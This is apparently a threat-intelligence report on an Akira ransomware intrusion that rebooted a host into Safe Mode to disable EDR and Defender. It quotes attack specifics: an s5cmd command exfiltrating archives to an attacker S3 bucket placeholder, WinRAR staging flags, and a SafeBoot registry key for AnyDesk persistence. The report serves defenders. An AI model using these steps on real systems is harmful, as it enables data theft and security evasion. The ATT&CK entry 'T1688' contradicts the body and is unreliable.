# Akira Ransomware Reboots Victims into Safe Mode to Blind EDR and Windows Defender

> An Akira ransomware affiliate breached a SonicWall SSL VPN account lacking MFA via credential spraying on 2026-08-04, enumerated Active Directory from the domain controller, and used msconfig.exe to force a reboot into Safe Mode with Networking — simultaneously disabling the Huntress EDR agent and Windows Defender real-time protection. The akira.exe payload crashed from virtual-memory exhaustion in the stripped-down Safe Mode environment before it could encrypt files, but the actor had already exfiltrated AD data and file shares to an attacker-controlled AWS S3 bucket via s5cmd, preserving the double-extortion threat.

- **Published:** 2026-08-12T00:00:00Z
- **Last reviewed:** 2026-08-12T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2062
- **ID:** TL-2026-2062
- **Severity:** HIGH
- **Category:** RANSOMWARE
- **Status:** ACTIVE
- **Actor:** Akira
- **Detections:** 9 · **IOCs:** 13 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2024-40766

## Description

On 2026-08-04, Huntress observed an Akira ransomware affiliate gain initial access to a customer environment through a SonicWall SSL VPN account that had no multi-factor authentication enabled. The intrusion began at 03:45 UTC with a credential-spraying burst against multiple usernames from external IP 72.23.77.35, which succeeded at 03:52:42 UTC. The source Huntress reporting did not attribute this specific login to a named CVE, though Akira affiliates have separately and repeatedly been reported (Arctic Wolf, Rapid7, SonicWall) exploiting the improper-access-control flaw CVE-2024-40766 in SonicOS to obtain or reuse SSL VPN credentials in other 2025-2026 campaigns, and stolen credentials from that flaw have been observed carried forward across firmware upgrades.

Around 05:52 UTC the operator pivoted to hands-on-keyboard activity, using RDP to reach the domain controller from an attacker-controlled workgroup host (WIN-DNCVG09TAT8). From the DC, the actor ran PowerShell Get-ADUser and Get-ADComputer enumeration commands, dumping full account and computer inventories (including PasswordLastSet, LastLogonDate, email addresses, and phone numbers) to C:\ProgramData\AdUsers.txt and C:\ProgramData\AdComp.txt. AnyDesk (client ID 1778787240) was installed for persistent remote access, and the actor added a registry value under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk so the tool would continue functioning even inside Safe Mode.

At 06:29:21 UTC the operator launched msconfig.exe and set the Boot tab to Safe Boot: Network, forcing a restart into Safe Mode with Networking (recorded as Kernel-Boot Event ID 27, SAFEBOOT:NETWORK, and Kernel-General Event ID 12, BootMode=2). This is the first documented case of Akira using a Safe Mode reboot to blind security tooling — a technique Huntress notes was previously seen only from the Snatch and AvosLocker ransomware families, and which maps to MITRE ATT&CK T1562.009 (Impair Defenses: Safe Mode Boot). The reboot stopped the third-party Huntress agent and disabled Windows Defender real-time protection (logged as Defender Event ID 3002, error 0x8007043c).

Before triggering the reboot, the actor archived harvested AD data and file-share contents with WinRAR (a -ep1 -scul -r0 -iext -imon1) and exfiltrated the archives to an attacker-controlled AWS S3 bucket using the open-source CLI tool s5cmd (s5cmd cp --sp "E:\upload*" s3://<attacker-bucket>/), preserving a double-extortion leverage point independent of whether encryption succeeded.

akira.exe executed at 06:34:29 UTC. At 06:36:21 UTC a burst of child processes began, and within seconds the environment produced cascading "Virtual Memory Minimum Too Low" and "Out of Virtual Memory" errors followed by PowerShell failures — Safe Mode's stripped-down driver and memory footprint starved the encryption routine before it could complete. Windows Defender flagged the ransomware binary at 07:43:50 UTC but could not quarantine it while real-time protection remained disabled. The host was rebooted back to normal mode at 08:10:38 UTC, and Defender successfully quarantined akira.exe at 08:12:28 UTC. Huntress published its public analysis of the intrusion on 2026-08-12.

Akira is a closed ransomware-as-a-service operation, believed to share code lineage with the leaked Conti source base, first tracked by CISA/FBI since March 2023 and named the most active ransomware operation observed in Huntress telemetry through 2025. CISA, the FBI, DC3, HHS, and international partners maintain a joint #StopRansomware advisory (AA24-109A, originally published 2024-04-18 and updated 2025-11-13) documenting Akira's TTPs, including brute-force RDP access, credential dumping, cloud-based exfiltration tooling (rclone, FileZilla, WinSCP, and — per this Huntress incident — s5cmd), and a Tor-hosted double-extortion leak site.

## MITRE ATT&CK

- T1133 External Remote Services
- T1078 Valid Accounts
- T1110.003 Password Spraying
- T1087.002 Domain Account
- T1018 Remote System Discovery
- T1021.001 Remote Desktop Protocol
- T1570 Lateral Tool Transfer
- T1560.001 Archive via Utility
- T1219 Remote Access Tools
- T1567.002 Exfiltration to Cloud Storage
- T1688 Safe Mode Boot
- T1112 Modify Registry

## Sources

- [Akira Hits Safe Mode: Ransomware Rebooting Around EDR](https://www.huntress.com/blog/akira-hits-safe-mode-ransomware-rebooting-around-edr)
- [Akira hackers disable EDR with Safe Mode, steal data but fail to encrypt](https://www.bleepingcomputer.com/news/security/akira-hackers-disable-edr-with-safe-mode-steal-data-but-fail-to-encrypt/)
- [Akira ransomware reboots into Windows Safe Mode to knock EDR offline](https://www.csoonline.com/article/4209606/akira-ransomware-reboots-into-windows-safe-mode-to-knock-edr-offline.html)
- [Akira ransomware uses Safe Mode to bypass EDR](https://securityaffairs.com/197339/malware/akira-ransomware-uses-safe-mode-to-bypass-edr.html)
- [#StopRansomware: Akira Ransomware (AA24-109A)](https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a)
- [Smash and Grab: Aggressive Akira Campaign Targets SonicWall VPNs, Deploys Ransomware in an Hour or Less](https://arcticwolf.com/resources/blog/smash-and-grab-aggressive-akira-campaign-targets-sonicwall-vpns/)
- [Critical Improper Access Control Vuln Affecting SonicWall Devices (CVE-2024-40766)](https://www.rapid7.com/blog/post/2024/09/09/etr-cve-2024-40766-critical-improper-access-control-vulnerability-affecting-sonicwall-devices/)
- [First Akira Safe Mode attack disables endpoint detection and response but fails to encrypt, Huntress says](https://siliconangle.com/2026/08/12/first-akira-safe-mode-attack-disables-edr-fails-encrypt-huntress-says/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2062